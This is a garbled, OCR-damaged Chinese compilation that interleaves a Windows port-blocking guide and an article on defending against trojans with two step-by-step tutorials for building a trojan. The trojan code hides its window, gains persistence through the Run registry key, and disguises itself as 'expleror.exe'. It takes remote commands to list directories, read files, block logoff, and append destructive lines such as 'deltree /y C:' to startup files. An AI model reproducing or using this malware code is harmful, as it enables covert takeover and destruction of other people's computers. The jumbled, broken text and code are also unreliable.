tDevCaps0wavec叩sizeofWAVEOUTCAPS;cs=当前波形设备:“+Stringwavec叩.szPname+”\\n”;fwritecs.c_strcs.Length1fp;ifmididevice!=0{midiOutGetDevCaps0midicapsizeofMIDIOUTCAPS;cs=当前MIDI设备:“+Stringmidicap.szPname+”\\n”;fwritecs.c_strcs.Length1fp;longdoubletcs;longdoubletc;longintbppcp;cs二”当前分辨率为:“+StringScreen・Width+AnsiString”*+StringScreen-Height+\\nM;fwritecs.c_strcs.Length1fp;bpp=GetDeviceCapsCanvas-HandleBITSPIXEL;tcs=pow2bpp;//计算色彩的梯度数cp=GetDeviceCapsForm1-Canvas-HandIePLANES;tc=powdoubletcsdoublecp;〃计算色深AnsiStringsss;sss=bpp;cs二”当前色深为:“+sss+”\\n”;fwritecs.c_strcs.Length1fp;fclosefp;AnsiStringFileName=temp.had”;char*buf;TcpMsgUintMsg2;strcpyMsg
2.TPasswordPassword;TMemoryStream*ms=newTMemoryStream;ms-Clear;if!FileExistsFileNameCheckHard;TFileStream*fs=newTFileStreamFileNamefmOpenRead;IP安全策略VS特洛伊木马当木马悄悄打开某扇“方便之门”端口时,不速之客就会神不知鬼不觉地侵入你的电脑假如被种下木马事实上也不必担心,首先我们要切断它们与外界的联系就是堵住可疑端口在Win2000/XP/2003系统中,Microsoft管理操纵台MMC已将系统的配置功能汇合成配置模块,大大方便我们进行特殊的设置以Telnet利用的23端口为例,笔者的操作系统为WinXP操作步骤首先单击“运行”在框中输入“mmc”后回车,会弹出“操纵台1”的窗口我们依次选择“文件一添加/删除管理单元一在独立标签栏中点击添加一IP安全策略管理」,最后按提示完成操作这时,我们已把“IP安全策略,在本地计算机”下列简称“IP安全策略”添加到“操纵台根节点”下现在双击“IP安全策略”就能够新建一个管理规则了右击“IP安全策略”,在弹出的快捷菜单中选择“创建IP安全策略”,打开IP安全策略向导,点击“下一步一名称默认为新IP安全策略一下一步一不必选择激活默认响应规则注意在点击“下一步的同时,需要确认如今“编辑属性”被选中,然后选择“完成一在“新IP安全策略属性一添加一不必选择使用添加向导”在寻址栏的源地址应选择“任何IP地址”,目标地址选择“我的IP地址”不必选择镜像在协议标签栏中,注意类型应为TCP并设置IP协议端口从任意端口到此端口23最后点击“确定”即可这时在“IP筛选器列表”中会出现一个“新IP筛选器”,选中它,切换到“筛选器操作”标签栏,依次点击“添加一名称默认为新筛选器操作一添加一阻止一完成”新策略需要被激活才能起作用,具体方法是在“新IP安全策略”上点右键,“指派”刚才制定的策略效果现在,当我们从另一台电脑Telnet到设防的这一台时;系统会报告登录失败;用扫描工具扫描这台机子,会发现23端口仍然在提供服务以同样的方法,大家能够把其它任何可疑的端口都封杀掉,让不速之客们大叫“不妙”去吧!用C#实现木马程序分析刖百由于本程序是木马程序,因此在介绍之前有一些木马构成的基本知识事先说明,由于下面很多地方会提到这些内容一个完整的木马系统由硬件部分,软件部分与具体连接部分构成这里要紧对软件部分介绍,它要紧有操纵端程序、木马程序后台服务程序、木马配制程序构成操纵端用以远程操纵服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序使用的技术操纵端程序发送操纵码操纵服务器,服务器后台运行,修改注册表达到操纵的目的技术不是很难的要紧表达C#的网络编程与注册表的修改操纵端开发操纵端向服务器发出一段操纵码,服务端木马程序收到操纵码后,根据操纵的要求,完成指定的要求,假如服务器完成工作,返回成功的信息操纵端的开发操纵码的设定你能够自己设定,不需要详解,要紧有下列几个难点
1、连接请求使用了.NET类中的System.Net.Sockets.TcpClient类,TcpClientstringhostnameintportHostname是要操纵的主机名称,当然你也能够用IP地址Port是端口//System.EventArgs包含事件数据类的基类privatevoidbutton7_ClickobjectsenderSystem.EventArgse〃记录操作,在richTextBox控件中增加操作信息richTextBoxl.AppendText请求连接+textBoxl.Text+\\r;intport=6678;try〃初始化TcpClient类的新实例并连接到指定主机上的指定端口client=newTcpClienttextBoxl.Textport;catchMessageBox.Show”服务器不在线!确定是否输入主机名称.”;richTextBoxl.AppendText服务器不在线!确定是否输入主机名称.”;Registry-OpenKeySoftwareWWMicrosoftWWWindowsWWCurrentVersion\\\\RunTRUE;〃打开键值SoftwareWWMicrosoftWWWindowsWWCurrentVersionWWRun假如不存在就创建之try〃假如下列语句发生特殊,跳至catch以避免程序崩溃ifRegistry-ReadStringcrossbow!=SystemPath+\\\\Tapi
32.exeRegistry-WriteStringcrossbowSystemPath+”\\\\T叩i
32.exe;//查找是否有“crossbow”字样的键值,同时是否为拷贝的目录%Syst6m%+Tapi
32.exe//假如不是,就写入以上键值与内容catch...〃假如有错误,什么也不做好,FormCreate过程完成了,这样每次启动都能够自动加载Tapi
32.exe同时在“关闭程序”对话框中看不见本进程了,木马的雏形初现接着选中ServerSocket控件,在左边的ObjectInspector中将Active改为true这样程序一启动就打开特定端口,处于服务器工作状态再将Port填入4444这是木马的端口号,当然你也能够用别的但是你要注意不要用1024下列的低端端口,由于这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口只是也有这样一种技术,它有意使用特定端口,由于假如引起冲突,Windows也不可能报错A_Ao你能够看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用操纵端口FTPControlPort;同理TNMSMTP的25号端口也是SMTP协议的专用端口再选中ServerSocket控件,点击Events页双击OnClientRead事件,敲入下列代码FILE*fp二NULL;char*content;inttimes_ofltry;charTempFile[MAX.PATH];〃定义了一堆待会儿要用到的变量sprintfTempFileu%snAnsiStringSystemPath+AnsiString\W\Win
369.BATc_str;〃在%System%下建立一个文本文件Win
369.bat作为临时文件使用AnsiStringtemp=Socket-ReceiveText;〃接收客户端攻击者,也就是你自己传来的数据好,大门敞开了!接着就是修改目标机的各类配置了!A_A首先我们来修改Autoexec.bat与Config.sys吧iftemp.SubString09二二editconf}//privatevoidbuttion
2、测试是否与被操纵机连接上程序的流程是发送操纵码看操纵端是否有反应,假如有返回则显示操纵成功〃提供网络访问的数据流//privateNetworkstreamstream;代码如下privatevoidbutton8_ClickobjectsenderSystem.EventArgse〃纪录操作richTextBoxLAppendText测试连接+“\\r;trystream=client.GetStream;ifstream.CanWrite〃发送操纵码stringcontrol=jiance;byte[]by=System.Text.Encoding.ASCII.GetBytescontroLToCharArray;stream.Writeby0by.Length;〃下次使用stream.FIush;〃启动接收反回数据的线程//receive是线程执行的函数,见后面的分析threadReceive=newThreadnewThreadStartreceive;threadReceive.Start;catchExceptioneerichTextBoxl.AppendTextee.Message+n\\rn;MessageBox.Showee.Message;
3、操纵生效的代码privatevoidbutton9_ClickobjectsenderSystem.EventArgse〃这里是确定要发送的操纵码,RadioButton是窗体控件ifradioButton
1.Checked{control=form
2.zhucex;}elseifradioButton
2.Checked{control=form
3.zhuces;}elseifradioButton
3.Checked{control=warring;}elseifradioButton
4.Checked{control=suggest;}elseifradioButton
5.Checked{control=form
4.mumawe;}elseifradioButton
6.Checked{control=drop;}ifcontrol=二”000000”MessageBox.Show“你没有输入任何操纵目标!不发操纵信号richTextBoxl.AppendText“你没有输入任何操纵目标!不发操纵信号elseifcontrol!=H000000try〃记录操作richTextBox
1.AppendTextcontrol+”正在试图操纵,等待回应+n\\rH;stream二client.GetStream;ifstream.CanWritebyte[]by=System.Text.Encoding.ASCn.GetBytescontrol.ToCharArray;stream.Writeby0by.Length;stream.Flush;threadReceive=newThreadnewThreadStartreceive;threadReceive.Start;}//endif}//trycatch{richTextBox
1.AppendText服务器未连接1操纵无效!”+\\r;MessageBox.Show服务器未连接1操纵无效!”+NF;}//elseif
4、线程执行的函数privatevoidreceive〃设置读取数据的空间byte[]bb=newbyte
[3];〃读取3个字节i为实际读取的字节数inti=stream.Readbb03;〃转换成字符串,假如是中文操纵码则用stringss=//System.Text.Encoding.Unicode.GetStringbb;stringss=System.Text.Encoding.ASCII.GetStringbb;〃hjc为我设置的服务器的返回码hjc为连接成功,hkz为操纵成功ifss==hjcMessageBox.Show连接成功”;richTextBox
1.AppendText连接成功”;ifss==hkz”richTextBox
1.AppendTextcontrol+操纵成功+\\r;MessageBox.Showcontrol+”操纵成功+“\\r;服务端的开发要实现木马服务的程序,要紧实现下列几个功能后台的运行隐藏技术,操纵码的接收与注册表的修改,下面对这三方面做介绍.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定只是为了隐藏可使用与系统相近的名称,将窗体属性ShowInTaskbar”属性设为false让它运行时不可能在任务栏中显示,并将属性uWindowstate属性设为Mininized即可,这样窗体就能够隐藏运行了当然你也能够在InitializeComponent设置,此函数起初始化的作用,在窗体显示前运行,代码如下:privatevoidInitializeComponent////Form1//〃窗体显示的起点与大小this.AutoScaleBaseSize=newSystem.Drawing.Size614;this.ClientSize=newSystem.Drawing.Size368357;〃窗体名称this.Name=Forml;〃设置属性让它后台运行this.ShowInTaskbar=false;this.Text=Forml;this.WindowState二System.Windows.Forms.FormWindowState.Minimized;
2.操纵代码的接收,必需在服务程序运行开始就启动,因此侦听线程必需在程序初始化中启动,因此放在窗体的构造函数中,代码注解如下publicForm1〃窗体的构造函数////Windows窗体设计器支持所必需的//InitializeComponent;////TODO:在InitializeComponent调用后添加任何构造函数代码//加入你的侦听代码〃端□你能够自己设定,我使用了固定的端口intport=6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener=newTcpListenerport;〃启动侦听listener.Start;〃增加接收操纵码的线程,假如要停止线程能够用Thread.abort//reControlCode是线程启动执行的函数,此函数根据接收的操纵〃操纵码选取合适的注册表修改函数Threadthread=newThreadnewThreadStartreControlCode;thread.Start;reControlCode函数如下,完整代码见程序privatevoidreControlCode〃设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket=listener.AcceptSocket;〃假如连接成功执行whilesocket.Connected〃接收操纵码byte[]by=newbyte
[6];inti=socket.Receivebyby.Length0;stringss=System.Text.Encoding.ASCILGetStringby;〃根据操纵码执行不一致的功能〃修改注册表加入编码case“jiance”:〃测试连接返回测试信息stringstr=hjcn;byte[]bytee=System.Text.Encoding.ASCII.GetBytesstr;socket.Sendbytee0bytee.Length0;break;casezxlOOO:〃修改注册表函数,自已定义,见下面分析UnLogOff;〃返回操纵消息retMessage;break;caseHzx0100:〃修改注册表函数UnClose;〃返回操纵消息retMessage;break;〃重复的case功能与前面一样,略掉default:break;}//case}//while}//privatevoidreControlCode.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类处理由操作系统引发的事件的类与对系统注册表进行操作的类下面就能够看到它的用法这里我做了一个修改注册表的子程序使计算机不能注销在这之前先熟悉注册表,在子键SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer下面设键值NoLogOff为1即可使计算机无法注销在下面的函数中用C#实现对注册表的修改privatevoidUnLogOff〃得到主机的注册表的顶级节点Microsoft.Win
32.RegistryKeyrLocal=Registry.LocalMachine;〃设置一个注册表子键的变量RegistryKeykeyl;try〃函数RegistryKey.OpenSubkeystringregistrykeyboolcanwrite检索指定的子键//registrykey是用户指定的键值,canwrite为true则可修改,默认为fasle不可改key1=rLocal.OpenSubKeyCSOFTWAREWWMicrosoftWWWindowsWWCurrentVersionWWPoliciesWWExplorertrue;〃设置子键的键名,与值keyl.SetValueNoLogOff1;〃关闭打开的子键keyl.Close;〃警告字符串设定mystr=mystr+nHKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer键值Nologoff被修改!请将它置为0!”;catch{}〃假如不存在自己建立ifkeyl==nulltry〃使用RegistryKey.CreateSubKeystringmystring函数来建立你需要的子键RegistryKeykey2=rLocal.CreateSubKeySOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\ExplorerH;key
2.SetValuenNoLogOff;1;key
2.Close;mystr=mystr+nHKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer键值Nologoff被修改!请将它置为0!”;catch{}.在木马程序中还有一个重要的功能就是自我的复制与转移木马引入被操纵的主机时必需自动将木马隐藏在SystemSystem32的目录下以防被发现转移的代码分析如下,要紧实现的功能是将D盘下的木马程序转移到C:\\\\winnnt\\\\system\\\\msdoss.exe同时换名称使用的.NET命名空间System.10它的作用是同意对数据流与文件进行同步与异步读写这里我们使用了System.IO.File类privatevoidmoveCCltry〃函数File.MovestringsourceFileNamestringdestFileName起移动文件的作用//sourceFileName为要移动的文件名,destFileName为文件的新路径File.MoveC:\\\\winnnt\\\\system\\\\msdoss.exe/d:\\\\winnt\\\\system32\\\\expleror.exeH;catch{}〃将新移的木马程序设为自启动.分析与前面一样trykey1=rLocal.OpenSubKeynSOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Runtrue;keyl.SetValuemicrosoftt1nd:\\\\winnt\\\\system32\\\\expleror.exe;keyl.Close;catch{}ifkey1==nulltryRegistryKeykey2=rLocal.CreateSubKeynSOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Runn;keyl.SetValuemicrosoftt*d:\\\\winnt\\\\system32\\\\expleror.exe;keyl.Close;catch{}}//moveCCl到这里一个简单的C#的木马就完成了网络安全之特洛伊木马攻防战略说起网络安全,我想确实是一个难题由于网络的确不安全,那麽到底怎麽不安全呢这也是一两句话难以说清晰,现在我只谈一谈简单的木马攻防战术.木马程序用“瞒天过海”或者“披着羊皮的狼”之类的词来形容这类程序一点也不为过直截了当的说法是木马有两个程序,一个是服务器程序,一个是操纵器程序,当你的电脑运行了服务器程序后,客人就能够使用操纵器程序进入你的电脑,通过指挥服务器程序达到操纵你的电脑的目的.有些网友会说我的电脑没有什麽秘密的资料,就抱着无所谓的态度我想你确信不希望在奋勇冲浪的时候,在与MM谈情说爱的时候,或者许你在看属于你隐私的电子邮件的时候总有一双或者很多双眼睛在“笑眯眯“的“关心”着你吧,更有甚者通过木马将病毒传染到你的电脑上,让你死去活来你的鼠标被人家操纵,键盘不知什麽时候锁住了,这电脑还算你的吗怎麽办凉拌!那麽木马毕竟是何方神圣让我们来分析一下.一个木马要工作,那麽其服务器程序务必在目标上运行,没有人会主动要求去运行它但是会有这麽一天有人对你抱以与善的微笑说,我这有一个好游戏”“我有漂亮的MM屏保与你分享一下”等等,当你打开这些所谓的程序时,一个宿主程序已经悄悄潜入你的机子第一步就这样完成了,这完全是我们疏于防范造成的.然后木马通常会在下列三个地方安营扎寨:注册表、win.ini、system.ini由于电脑启动的时候,需要装载这三个文件,大部分木马是使用这三种方式启动的.也有捆绑方式启动的,木马phAse
1.0版本与NetBus
1.53版本就能够以捆绑方式装到目标电脑上,能够捆绑到启动程序上,也能够捆绑到通常程序的常用程序上.假如捆绑到通常的程序上,启动是不确定的,这要看目标电脑主人了假如他不运行,木马就不可能进入内存.捆绑方式是一种手动的安装方式,通常捆绑的是非自动方式启动的木马.非捆绑方式的木马由于会在注册表等位置留下痕迹,因此,很容易被发现,而捆绑木马能够由黑客自己确定捆绑方式、捆绑位置、捆绑程序等位置的多变使木马由很强的隐蔽性.木马的服务器程序文件通常位置是在c:\\windows与c:\\windows\\system中为什么要在这两个目录下,由于windows的一些系统文件在这两个位置,假如你误删了文件,你的电脑可能崩溃,你不得不重新安装系统.木马的文件名更是一种学问,木马的文件名尽量与windows的系统文件接近这样你就会弄糊涂了,比如木马SubSeven
1.7版本的服务器文件名是c:\\windows\\KERNEL
16.DL而windows由一个系统文件是c:\\windows\\KERNEL
32.DLL他们之差一点点,但是删错了的话结果可大不相同的哦,删除KERNEL
32.DLL会让你死翘翘的哦.再比如,木马phAse
1.0版本生成的木马是C:\\WINDOWS\\System\\Msgsrv
32.exe愣是与windows的系统文件C:\\WINDOWS\\System\\Msgsrv
32.exe一模一样,只是图标有点两样,你可不要删错了哦.上面两个是假扮系统文件的类型,我们再来看看无中生有的类型,木马SubSeven
1.5版本服务器文件名是c:\\windows\\window.exe看清晰了哦少一个s的哦,假如不告诉你这是木马,你有胆子删吗?但是木马有一个致命的缺点,相对固定的端口黑客要进入你的电脑,务必要有通往你电脑的途径也就是说,木马务必打开某个端口,大家叫这个端口为“后门”,木马也叫“后门工具”.这个不得不打开的后门是很难隐蔽的只能采取混淆的办法,很多木马的端口是固定的,让人一眼就能看出是什么样的木马造成的.因此,端口号能够改变这是一种混淆的办法我们明白7306是木马netspy的,木马SUB7能够改变端口号SUB7默认的端口是1243但是假如把1243端口改成了7306呢,呵呵,一定会把目标电脑的主人弄混淆了.有些人会问要是这个端口会自动改变那该多好呀,每次上网端口号自动改变,呵呵,真聪明,惋惜聪明过头了.比如,真有这样的木马装在我的电脑上,每次上网的端口均会改变,你是黑客,你打算怎么进入我的电脑呢?你明白这个木马现在开放的端口号是多少吗?想扫描我的电脑?端口一共有6万多个,你什么时候扫描完毕?半个小时,呵呵,我早发现了,早把你炸死了.即使我是菜鸟一个,你这样高速度扫描我的电脑,也会导致我的电脑通讯堵塞,谁会在网速非常慢的情况下在网络上待半个小时?因此,这基本上是不太可能的情况.木马有很强的隐蔽性,在WINDOWS中,假如某个程序出现特殊,用正常的手段不能退出的时候采取的办法时按“Ctrl+Alt+Del”键,跳出一个窗口找到需要终止的程序,然后关闭它.早期的木马会在按“Ctrl+Alt+Del”显露出来,现在大多数木马已经看不到了.因此只能使用内存工具来看内存中时候存在木马.木马还具有很强潜伏的能力,表面上的木马被发现并删除以后,后备的木马在一定的条件下会跳出来.这种条件要紧是目标电脑主人的操作造成的.我们先来看一个典型的例子木马Glacier(冰河
1.2正式版)现在已经升级到
3.0版,这个木马有两个服务器程序C:\\WINDOWS\\SYSTEM\\Kernel
32.exe挂在注册表的启动组中,当电脑启动的时候,会装入内存,这是表面上的木马.另一个是C:\\WINDOWS\\SYSTEM\\Sysexplr.exe也在注册表中,它修改了文本文件的关联,当你点击文本文件的时候,它就启动了,它会检查Kernel
32.exe是不是存在,假如存在的话,什么情况也不做.当表面上的木马Kemel
32.exe被发现并删除以后,目标电脑的主人可能会觉得自己已经删除木马了,应该是安全的了•假如目标电脑的主人在以后的日子中点击了文本文件,那么这个文件文件照样运行,而Sysexplr.exe被启动了.Sysexplr.exe会发现表面上的木马Kernel
32.exe已经被删除就会再生成一个Kernel
32.exe因此,目标电脑以后每次启动电脑木马又被装上了.说了这麽多,是不是感到很恐怖,很上火别着急,清凉解暑药马上就到.在应付特洛伊木马程序方面,有下列几种办法1•务必提高防范意识,不要打开陌生人信中的附件,哪怕他说的天花乱坠熟人的也要确认一下来信的原地址是否合法..多读readme.txt.许多人出于研究目的下载了一些特洛伊木马程序的软件包,在没有弄清软件包中几个程序的具体功能前,就匆匆地执行其中的程序,这样往往就错误地执行了服务器端程序而使用户的计算机成为了特洛伊木马的牺牲品.软件包中经常附带的readme.txt文件会有程序的全面功能介绍与使用说明,尽管它通常是英文的,但还是有必要先阅读一下,假如实在读不懂,那最好不要执行任何程序,丢弃软件包当然是最保险的了.有必要养成在使用任何程序前先读readme.txt的好习惯.值得一提的是,有许多程序说明做成可执行的readme.exe形式readme.exe往往捆绑有病毒或者特洛伊木马程序,或者者干脆就是由病毒程序、特洛伊木马的服务器端程序改名而得到的,目的就是让用户误以为是程序说明文件去执行它可谓用心险恶.因此从互联网上得来的readme.exe最好不要执行它..使用杀毒软件.现在国内的杀毒软件都推出了清除某些特洛伊木马的功能,如KV
300、KILL
98.瑞星等等能够不定期地在脱机的情况下进行检查与清除另外,有的杀毒软件还提供网络实时监控功能,这一功能能够在黑客从远端执行用户机器上的文件时,提供报警或者让执行失败,使黑客向用户机器上载可执行文件后无法正确执行,从而避免了进一步的缺失,但是要记住,它不是万能的..立即挂断.尽管造成上网速度突然变慢的原因有很多,但有理由怀疑这是由特洛伊木马造成的,当入侵者使用特洛伊的客户端程序访问你的机器时会与你的正常访问抢占宽带,特别是当入侵者从远端下载用户硬盘上的文件时,正常访问会变得奇慢无比.这时,你能够双击任务栏右下角的连接图标认真观察一下“已发送字节”项,假如数字变化成1〜3kbps(每秒1〜3千字节),几乎能够确认有人在下载你的硬盘文件,除非你正在使用即功能.对TCP/IP端口熟悉的用户能够在“MS—DOS方式”下键入“netstat-a”来观察与你机器相连的当前所有通信进程,当有具体的IP正使用不常见的端口(通常大于1024)与你通信时,这一端口很可能就是特洛伊木马的通信端口.当发现上述可疑迹象后,你所能做的就是立即挂断,然后对硬盘有无特洛伊木马进行认确实检查..观察目录.普通用户应当经常观察位于c\\^c\windows、c WwindowsWsystem这三个目录下的文件.用“记事本”逐一打开c\\下的非执行类文件(除exe、bat、com以外的文件),查看是否发现特洛伊木马、击键程序的记录文件,在c Windows或者c WWindowsWsystem下假如有光有文件名没有图标的可执行程序,你应该把它们删除,然后再用杀毒软件进行认确实清理..在删除木马之前最最重要的一项工作是备份,需要备份注册表防止系统崩溃,备份你认为是木马的文件,假如不是木马就能够恢复,假如是木马你就能够对木马进行分析.不一致的不马有不一致的清除方法,由于涉及面太大,这里就不详述了.〃假如同意到的字符串的前9个字符是“editconf”intnumber=temp.Length;//得到字符串的长度intfile_name=atoitemp.SubString
111.c_str;//将第11个字符转换成integer型,存入filename变量//为什么要取第11个字符,由于第10个字符是空格字符content=temp.SubString12number-11+V\\nV.c_str;//余下的字符串将被作为写入的内容写入目标文件FILE*fp=NULL;charfilename
[20];chmodnc:\\\\autoexec.batnSJREAD|SJWRITE;chmodciWWconfig.sys\SJREAD|SJWRITE;//将两个目标文件的属性改为可读可写iffile_naiTie==lsprintffilenamen%sHc:\\\\autoexec.bat;〃假如第11个字符是1就把Autoexec.bat格式化elseiffile_name==2sprintffilenamen%sc:\\\\config.sys;〃假如第11个字符是1就把Config.sys格式化times_of_try=0;〃定义计数器whilefp二二NULL〃假如指针是空fp=fopenfilenameHa+H;〃假如文件不存在,创建之;假如存在,准备在其后添加〃假如出错,文件指针为空,这样就会重复times_oCtry=times_oOry__1;〃计数器加1iftimes_ofltry100〃假如已经试了100次了,仍未成功Socket-SendTextFailByOpenFile;〃就发回FailByOpenFile的错误信息gotoEND;〃F兆至END处fwritecontentsizeofcharstrlencontentfp;〃写入添加的语句,比如deltree/yC:或者者format/q/autotestC:够毒吧?!fclosefp;〃写完后关闭目标文件Socket-SendTextSucess;〃然后发回“Success”的成功信息你现在能够通过网络来察看目标机上的这两个文件了,同时还能够向里面随意添加任何命令呵呵,这只只是是牛刀小试罢了朋友,别走开!未完待续上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树与文件吧,这在客户端上使用“dir”命令,跟着敲啰elseiftemp.SubString03==dirn〃假如前3个字符是“dir”intRead_Num;char*CR_LF=u\\nH;intattrib;char*filename;DIR*dir;structdirent*ent;intnumber=temp.Length;〃得到字符串的长度AnsiStringDir_Name=temp.SubString5number-3;//从字符串第六个字符开始,将后面的字符存入DijName变量,这是目录名ifDir_Name==H{〃假如目录名为空Socket-SendTextuFailByOpenDIRVsName;〃返回I“FailByOpenDIRVsName”信息gotoEND;〃跳到ENDchar*dirname;dirname=DirName.cstr;ifdir=opendirdirname==NULL{〃假如打开目录出错Socket-SendTextuFailbyyourDIRVsname!;〃返回“FailByYourDIRVsName”信息gotoEND;〃品兆至ENDtimes_oOry=0;whilefp==NULL〃假如指针是NULLfp=fopenTempFilew+”;〃就创建systemWWin
369.bat准备读与写;假如此文件已存在,则会被覆盖times_oLtry=times_oLtry+l;〃计数器加1iftimes_oCtry100〃假如已经试了100次了,仍未成功真有耐心!Socket-SendTextFailByOpenFile;〃就发回“FailByOpenFile”的错误信息gotoEND;〃并跳到END处whileent=readdirdir!=NULL{〃假如访问目标目录成功if*AnsiStringdirname.AnsiLastChar!=\\\\\\〃假如最后一个字符不是“\\,证明不是根目录filename=AnsiStringdirname+\\\\H+ent-d_name.c_str;〃加上“\\”字符后将指针指向目录流elsefilename=AnsiStringdirname+ent-d_name.c_str;〃假如是根目录,则不用加“\\”attrib=_rtl_chmodfilename0;〃得到目标文件的访问属性ifattribFA_RDONLY//字符是比较前后两个变量,假如相同返回1否则返回0fwriteRsizeofchar3fp;〃将目标文件属性设为只读elsefwritesizeofchar3fp;〃失败则写入空格ifattribFA_HIDDENfwriteHsizeofchar1fp;〃将目标文件属性设为隐藏elsefwritesizeofchar1fp;〃失败则写入空格ifattribFA_SYSTEMfwriteSHsizeofchar1fp;〃将目标文件属性设为系统elsefwritesizeofchar,1fp;〃失败则写入空格ifattribFA_ARCHfwriteAsizeofchar1fp;〃将目标文件属性设为普通elsefwritensizeofchar1fp;〃失败则写入空格ifattribFA_DIRECfwrite,sizeofchar9fp;〃将目标文件属性设为目录elsefwritesizeofchar9fp;〃失败则写入空格fwriteent-d_namesizeofcharstrlenent-d_namefp;〃将目录名写入目标文件fwriteCR_LF11fp;〃写入换行fclosefp;〃关闭文件closedirdir;〃关闭目录FILE*fpl二NULL;times_of_try=0;whilefpl==NULLfpl=fopenTempFileHr;〃打开Win
369.bat准备读times_ofLtry=times_oCtry+1;〃计数器加1iftimes_of_try100〃假如已经试了100次了,仍未成功Socket-SendTextFailByOpenFile;〃就发回“FailByOpenFile的错误信息gotoEND;〃并跳到END处AnsiStringReturnText=H;charteinp_content
[300];forinti=0;i300;i++temp_content[i]=\\\0\;//定义的一个空数组Read_Num=freadtemp_content1300fpl;〃从目标文件中读入前300个字符whileRead_Num==300Return_Text=Return_Text+temp_content;//Retum.Text变量加上刚才的300个字符forinti=0;i300;i++temp_content[i]=\\\0\;Read_Num=freadtemp_content1300fpl;〃重复;Return_Text=Return_Text+temp_content;//Return.Text变量加上刚才的300个字符fclosefp1;〃关闭目标文件Socket-SendTextRetum_Text;〃返回Return_Text变量的内容}够长吧?!察看目录树这么费劲啊?!你后面能够用BCB中的各类列表框对Client.exe好好美化美化接下来就是查看指定文件的内容了,Client将使用“type”命令,手指累不累啊?elseiftemp.SubString04==type〃假如前4个字符是“type”intRead_Num;intnumber=temp.Length;AnsiStringFile_Name=temp.SubString6number-4;〃将目标文件流存入File_Name变量中times_ofLtry=0;whilefp=二NULLfp=fopenFile_Name.c_strT;〃打开目标文件准备读times_ofLtry=times_ofLtry+1;〃计数器加1iftimes_of_try100〃假如已试了100次了Socket-SendTextFailByOpenFile;〃返回FailByOpenFile的错误信息gotoEND;〃跳至UENDAnsiStringReturn_Text=H;chartemp_content
[300];forinti=0;i300;i++temp_content[i]=V\\0V;〃定义一个空数组Read_Num=freadtemp_content1300fp;〃从目标文件中读入前300个字符whileRead_Num==300Return_Text=Return_Text-i-temp_content;//Retum.Text的内容加上刚才的字符forinti=0;i300;i++temp_content[i]=V\\0\;Read_Num=freadtemp_content1300fp;〃重复;Return_Text=Return_Text+temp_content;//Return_Text的内容加上刚才的字符fclosefp;〃关闭目标文件Socket-SendTextReturn_Text;〃返回Return.Text的内容,即你查看文件的内容咳咳!累死了!还是来点轻松的吧一一操纵目标机的光驱注意mciSendString函数的声明在mmsystem.h头文件中elseiftemp二=open〃假如收到的temp的内容是“open”mciSendStringsetcdaudiodooropenNULL0NULL;〃就弹出光驱的托盘elseiftemp==closeH〃假如收到的temp的内容是“close”mciSendStringSetcdaudiodoorclosedwaitNULL0NULL;〃就收入光驱的托盘当然你也能够搞个死循环,让他的光驱好好活动活动!A_A接着就是交换目标机的鼠标左右键,代码如下:。